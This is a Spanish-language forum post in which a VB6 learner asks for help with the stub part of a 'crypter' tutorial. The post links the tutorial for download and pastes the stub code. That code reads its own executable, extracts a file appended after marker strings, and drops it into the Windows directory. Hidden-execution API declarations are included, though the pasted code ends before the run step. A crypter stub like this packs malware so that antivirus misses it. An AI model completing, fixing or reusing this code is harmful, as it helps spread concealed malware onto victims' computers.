Hola soy DarkJairo y estoy aprendiendo un poko de vb6...

bueno hace poko me descargue un tutorial de internet en el que te enseñaba de forma facil ha hacer un crypter.

el tutorial os lo podeis descargar de aki asi tambien lo aporto aki xDDD:

http://www.megaupload.com/?d=5B59F10L

bueno despues de este parentesis sigo ...

mi duda lleguo cuanto tube que crear el Stub por en el tutorial no te dice si tienes k crearlo en un form o en un modulo ... no te dice nada solo te da el codigo y ea arreglatelas .... asi k me gustaria que le echarais un vistazo al tuto si lo quereis ver entero, aki solo pongo la parte del Stub pork el cliente lo entendi perfecto y lo tengo echo xDD

Esto es lo unico k sale en el tutorial sobre el Stub:

3. Desarrollo del Stub

Código:

'Declaramos unas variables:
Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As
Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal
lpDirectory As String, ByVal nShowCmd As Long) As Long
Private Declare Function GetModuleFileName Lib "kernel32" Alias "GetModuleFileNameA"
(ByVal hModule As Long, ByVal lpFileName As String, ByVal nSize As Long) As Long
Private Declare Function GetWindowWord Lib "user32" (ByVal hwnd As Long, ByVal nIndex As
Long) As Integer
Const GWW_HINSTANCE = (-6)
Const SW_SHOWNORMAL = 1
Const SW_SHOWHIDE = 0
Dim Firma As String
Dim SubFirma As String
'Ruta:
Private Function Ruta() As String
Dim ModuleName As String, FileName As String, hInst As Long
ModuleName = String$(128, Chr$(0))
hInst = GetWindowWord(Me.hwnd, GWW_HINSTANCE)
ModuleName = Left$(ModuleName, GetModuleFileName(hInst, ModuleName,
Len(ModuleName)))
Ruta = ModuleName
End Function
'En el evento load del form:
On Error Resume Next
Dim Archivo As String
Dim Nombre As String
Dim RutaExt As String
Dim Ejecutar As String
Firma = "|By Ev3n|"
SubFirma = "|Urban Hack|"
Open Ruta For Binary As #1
Dim Todo As String
Todo = Space(LOF(1))
Get #1, , Todo
Close #1
Dim Partes As Variant, SubPartes As Variant
Partes = Split(Todo, Firma)
For n = 1 To UBound(Partes)
SubPartes = Split(Partes(n), SubFirma)
For i = 0 To UBound(SubPartes)
Select Case i
Case 0
L0L = SubPartes(i)
Case 1
Nombre = SubPartes(i)
Case 2
Select Case SubPartes(i)
Case "Windows"
RutaExt = Environ("WINDIR")
End Select
Case 3
Ejecutar = SubPartes(i)
Case 4
Archivo = SubPartes(i)
End Select
Next i
Open RutaExt & "" & Nombre For Binary As #1
Put #1, , Archivo
Close #1

Veis eso es solo lo k te da del Stub no te esplica nada asik si me pudierais echar una mano os lo agradeceria mucho....